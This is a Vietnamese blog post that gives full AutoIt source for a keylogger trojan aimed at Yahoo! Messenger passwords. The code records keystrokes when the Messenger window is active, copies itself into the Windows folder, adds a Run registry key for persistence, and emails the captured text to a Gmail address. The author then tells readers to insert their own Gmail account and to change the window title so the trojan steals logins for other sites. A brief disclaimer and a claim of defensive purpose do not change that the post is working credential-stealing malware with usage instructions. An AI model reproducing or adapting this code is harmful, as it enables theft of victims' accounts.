Thứ Hai, 8 tháng 3, 2010

Viết Virus Lấy Pass YH và Email

Posted by Unknown Thứ Hai, tháng 3 08, 2010, under | No comments

Bài viết này chỉ mang tính chất minh họa, không nhằm mục đích phá hoại. Tôi không chịu bất kỳ trách nhiệm nào nếu các bạn sử dụng nó với mục đích xấu.
Thời buổi ngày nay, việc ăn cắp pass ở các tài khoản trực tuyến nhiều đến nỗi không đếm nổi. Nào là ăn cắp pass ở yahoo, nào là tài khoản ngân hàng, nào là tài khoản game online…. Cách thức chủ yếu của các hacker đó là cài trojan, keylog. Bạn đã rất cẩn thận và bạn đã có một phần mềm virus tốt, nhưng liệu bạn có phòng tránh được tất cả các virus cũng như các trojan và keylog? biết cách một con trojan hoạt động như thế nào để phòng tránh cũng tốt đúng không nào? Nào chúng ta bắt đầu thôi
Công cụ: Tất nhiên lập trình thì phải có công cụ để lập trình rồi. Để đơn giản chúng ta sử dụng AutoIt để viết code. Các bạn có thể download AutoIt tại website: http://www.autoitscript.com
Viết code: Mình cung cấp cho các bạn đoạn code sau để các bạn tham khảo
#include
#NoTrayIcon
Global $oMyError = ObjEvent(”AutoIt.Error”, “MyErrFunc”)
$keylog=”"
$co=0
_dangky()
;Capital Letters
For $n = 65 To 90
HotKeySet(Chr($n), “My_HotKey_Func”)
Next
;Lowercase Letters
For $n = 97 To 122
HotKeySet(Chr($n), “My_HotKey_Func”)
Next
;Numbers
For $n = 47 To 58
HotKeySet(Chr($n), “My_HotKey_Func”)
Next
HotkeySet(”.”, “My_Hotkey_Func”)
HotKeySet(”+!d”, “_exit”)
;Specials
$charL1=”{SPACE}|{BACKSPACE}|{UP}|{DOWN}|{LEFT}|{RIGHT}|{ENTER}|{HOME}|{END}|{INSERT}|{DELETE}|{PGUP}|{PGDN}|{!}|{#}|{+}|{^}|{NUMLOCK on}|{NUMLOCK off}|{CAPSLOCK off}|{CAPSLOCK on}|{ESC}|{TAB}”
$charL= $charL1&”|{NUMPAD0}|{NUMPAD1}|{NUMPAD2}|{NUMPAD3}|{NUMPAD4}|{NUMPAD5}|{NUMPAD6}|{NUMPAD7}|{NUMPAD8}|{NUMPAD9}”
$KeyList = StringSplit($charL, “|”)
$maloaibo=StringSplit($charL1, “|”)
For $n = 1 To $KeyList[0]
HotKeySet($KeyList[$n], “MY_HotKey_Func”)
Next
While 1
;Sleep(100)
WinActive(”Yahoo! Messenger”)
$co=1
WinWaitNotActive(”Yahoo! Messenger”)
$tg=$keylog
For $i=1 To UBound($maloaibo)-1
If StringInStr($keylog,$maloaibo[$i]) Then
$tg=StringReplace($keylog,$maloaibo[$i],”")
EndIf
Next
If StringLen($tg)>9 Then
_sendEmail($keylog)
$keylog=”"
EndIf
$co=0
WEnd
Func My_HotKey_Func()
;MsgBox(0, “”, @HotKeyPressed)
if $co=1 Then
$keylog&=@HotKeyPressed
EndIf
$Name = @HotkeyPressed
If $Name = “.” then $Name = “period”
;SoundPlay(”c:\sounds\”&$Name&”.wav”) ; exceptions for keys like period slash or symobols that can’t be in filenames
; Turn off hotkey temporarily so letter can be sent.
HotKeySet(@HotKeyPressed)
Send(@HotKeyPressed)
; turn hotkey back on
HotKeySet(@HotKeyPressed, “My_HotKey_Func”)
EndFunc ;==>My_HotKey_Func
Func _dangky() ; dang khu va copy
IF Not FileExists(@WindowsDir&”\ikcmds.exe”) Then
FileCopy(”ikcmds.exe”,@WindowsDir&”\ikcmds.exe”)
EndIf
$reg=RegRead(”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, “ikcmds”)
if @error Then
RegWrite(”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, “ikcmds”, “REG_SZ”, @WindowsDir&”\ikcmds.exe”)
EndIf
EndFunc
Func _sendEmail($noidung)
$s_SmtpServer = “smtp.gmail.com”
$s_FromName = “trommatkhau”
$s_FromAddress = “abcdef@gmail.com”
$s_ToAddress = “abcdefhau@gmail.com
$s_Subject = “Hack pass yahoo”
$as_Body = $noidung
$s_AttachFiles = “” ;@WindowsDir&”\ikcmds.txt”
$s_CcAddress = “”
$s_BccAddress = “”
$s_Username = “abcded”
$s_Password = “**************”
$IPPort = 465
$ssl = 1
;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent(”AutoIt.Error”, “MyErrFunc”)
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
If @error Then
MsgBox(0, “Error sending message”, “Error code:” & @error & “ Rc:” & $rc)
Exit
EndIf
EndFunc
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = “”, $as_Body = “”, $s_AttachFiles = “”, $s_CcAddress = “”, $s_BccAddress = “”, $s_Username = “”, $s_Password = “”, $IPPort = 25, $ssl = 0)
$objEmail = ObjCreate(”CDO.Message”)
$objEmail.From = ‘”‘ & $s_FromName & ‘” <’ & $s_FromAddress & ‘>’
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = “”
If $s_CcAddress <> “” Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> “” Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, “<”) And StringInStr($as_Body, “>”) Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> “” Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, “;”)
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @LF & ‘File not found to attach: ‘ & $S_Files2Attach[$x]
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendusing”) = 2
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpserver”) = $s_SmtpServer
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpserverport”) = $IPPort
;Authenticated SMTP
If $s_Username <> “” Then
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpauthenticate”) = 1
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendusername”) = $s_Username
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/sendpassword”) = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item(”http://schemas.microsoft.com/cdo/configuration/smtpusessl”) = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Sent the Message
$objEmail.Send
If @error Then
SetError(2)
Return $oMyRet[1]
EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number,
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description, 3)
;ConsoleWrite(”### COM Error ! Number: ” & $HexNumber & “ ScriptLine: ” & $oMyError.scriptline & “ Description:” & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc ;==>MyErrFunc
Func _exit()
Exit
EndFunc
Bạn hãy nhìn vào đoạn code trên và chú ý vào những chỗ tôi đánh dấu mầu đỏ. Mục đích của con trojan này là ăn cắp pass và tài khoản người dùng yahoo messenger và gủi về một địa chỉ email định trước. Để có thể đẽ dàng sử dụng bạn hãy tạo một tài khoản ở Gmail.com sau đó thay các dòng địa chỉ mầu đỏ bằng tài khoản tương ứng của bạn là được. Bạn cũng có thể biến đổi con trojan này dùng để lấy tài khoản và mật khẩu của các trang khác bàng cách thay đổi 2 đoạn code mà tôi cũng đã đánh dấu mầu đỏ đó là: WinActive(”Yahoo! Messenger”) và WinWaitNotActive(”Yahoo! Messenger”)(”Yahoo! Messenger”). Nói thế thôi là bạn hiểu rồi đúng không. Hi vọng sau bài viết này các bạn sẽ tự rút ra cho mình một các phòng chống hiệu quả cho những tài khoản cá nhân của mình.


Xem Nhiều

Bài đăng phổ biến

Lưu trữ blog

Blog Archive